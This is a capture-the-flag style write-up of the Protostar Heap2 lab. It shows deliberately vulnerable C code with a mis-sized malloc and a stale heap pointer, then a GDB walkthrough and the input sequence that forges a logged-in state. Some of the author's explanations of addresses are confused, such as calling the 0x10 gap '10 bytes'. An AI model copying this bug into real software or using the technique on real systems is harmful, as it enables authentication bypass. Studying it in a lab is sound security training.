Protostar Heap2 – Writeup

Actually, I need to understand more about Heap Overflow. But now i try to solve this heap2 tast. I read a lot of write ups from another great write ups. Thanks to all guys for nice explain.

Description.

This level examines what can happen when heap pointers are stale.

This level is completed when you see the “you have logged in already!” message

Heap2.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

The Challenge C code is little hard to understand but the key auth->auth must not be 0 if we need to get the flag.
Firstly define the variable of auth at the top it have 36 bytes (32 + 4) and it point to another name auth also. it little confuse to us.
There are also 4 input name . 1.auth , 2.reset , 3.service , 4. login

Ok.Let’s try to check the process.

[email protected]:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth Hello
[ auth = 0x804c008, service = (nil) ]

The Heap pointer start at 0x804c008 of memory address and then service start at 0x804c018. So. there are differ 10 bytes. Try to login but fail.

[email protected]:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth Hello
[ auth = 0x804c008, service = (nil) ]
service MinKo
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c018 ]

Ok.Let’s start debug with GDB. I stop the breakpoint at the print function inside of main. Insert auth value and search the start address of heap with info proc mapping.

[email protected]:/opt/protostar/bin$ gdb ./heap2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/heap2...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048934 <main+0>:	push   %ebp
0x08048935 <main+1>:	mov    %esp,%ebp
0x08048937 <main+3>:	and    $0xfffffff0,%esp
0x0804893a <main+6>:	sub    $0x90,%esp
0x08048940 <main+12>:	jmp    0x8048943 <main+15>
0x08048942 <main+14>:	nop
0x08048943 <main+15>:	mov    0x804b5f8,%ecx
0x08048949 <main+21>:	mov    0x804b5f4,%edx
0x0804894f <main+27>:	mov    $0x804ad70,%eax
0x08048954 <main+32>:	mov    %ecx,0x8(%esp)
0x08048958 <main+36>:	mov    %edx,0x4(%esp)
0x0804895c <main+40>:	mov    %eax,(%esp)
0x0804895f <main+43>:	call   0x804881c <[email protected]>
0x08048964 <main+48>:	mov    0x804b164,%eax
0x08048969 <main+53>:	mov    %eax,0x8(%esp)
0x0804896d <main+57>:	movl   $0x80,0x4(%esp)
0x08048975 <main+65>:	lea    0x10(%esp),%eax
0x08048979 <main+69>:	mov    %eax,(%esp)
0x0804897c <main+72>:	call   0x80487ac <[email protected]>
0x08048981 <main+77>:	test   %eax,%eax
0x08048983 <main+79>:	jne    0x8048987 <main+83>
0x08048985 <main+81>:	leave  
0x08048986 <main+82>:	ret    
0x08048987 <main+83>:	movl   $0x5,0x8(%esp)
0x0804898f <main+91>:	movl   $0x804ad8d,0x4(%esp)
0x08048997 <main+99>:	lea    0x10(%esp),%eax
0x0804899b <main+103>:	mov    %eax,(%esp)
0x0804899e <main+106>:	call   0x804884c <[email protected]>
0x080489a3 <main+111>:	test   %eax,%eax
0x080489a5 <main+113>:	jne    0x8048a01 <main+205>
0x080489a7 <main+115>:	movl   $0x4,(%esp)
0x080489ae <main+122>:	call   0x804916a <malloc>
0x080489b3 <main+127>:	mov    %eax,0x804b5f4
0x080489b8 <main+132>:	mov    0x804b5f4,%eax
0x080489bd <main+137>:	movl   $0x4,0x8(%esp)
0x080489c5 <main+145>:	movl   $0x0,0x4(%esp)
0x080489cd <main+153>:	mov    %eax,(%esp)
0x080489d0 <main+156>:	call   0x80487bc <[email protected]>
0x080489d5 <main+161>:	lea    0x10(%esp),%eax
0x080489d9 <main+165>:	add    $0x5,%eax
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x0804895f
Breakpoint 1 at 0x804895f: file heap2/heap2.c, line 20.
(gdb) r
Starting program: /opt/protostar/bin/heap2 

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20	heap2/heap2.c: No such file or directory.
	in heap2/heap2.c
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth Laiwon

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20	in heap2/heap2.c
(gdb) info proc mapping
process 1650
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
	 0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
	 0x804c000  0x804d000     0x1000          0           [heap]
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fde000 0xb7fe2000     0x4000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) 

Heap Start at 0x804c000. Ok let’ search our input value .

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/32x 0x804c000
>p auth
>p service
>end
(gdb) c
Continuing.
[ auth = 0x804c008, service = (nil) ]
service BBBB
0x804c000:	0x00000000	0x00000011	0x7769614c	0x000a6e6f
0x804c010:	0x00000000	0x00000011	0x42424220	0x00000a42
0x804c020:	0x00000000	0x00000fe1	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000
$1 = (struct auth *) 0x804c008
$2 = 0x804c018 " BBBB\n"

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20	in heap2/heap2.c

Auth Address -> 0x804c00c
Service Address -> 0x804c01c
Auth->auth Address -> 0x804c02c

Now. we need to set the Auth->auth address. I add 1 byte to this pointer. but in my gdb , i can set service again for this address.

(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
service DDDD
0x804c000:	0x00000000	0x00000011	0x7769614c	0x000a6e6f
0x804c010:	0x00000000	0x00000011	0x42424220	0x00000a42
0x804c020:	0x00000000	0x00000011	0x44444420	0x00000a44
0x804c030:	0x00000000	0x00000fd1	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000
$3 = (struct auth *) 0x804c008
$4 = 0x804c028 " DDDD\n"

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20	in heap2/heap2.c

Now just login

(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!
0x804c000:	0x00000000	0x00000011	0x7769614c	0x000a6e6f
0x804c010:	0x00000000	0x00000011	0x42424220	0x00000a42
0x804c020:	0x00000000	0x00000011	0x44444420	0x00000a44
0x804c030:	0x00000000	0x00000fd1	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000
$5 = (struct auth *) 0x804c008
$6 = 0x804c028 " DDDD\n"

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20	in heap2/heap2.c

Yes it work. Try to exploit outside of gdb again.

[email protected]:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth Laiwon
[ auth = 0x804c008, service = (nil) ]
service 123456789abcdef1
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]


Bango! Thanks for reading. Happy Hacking..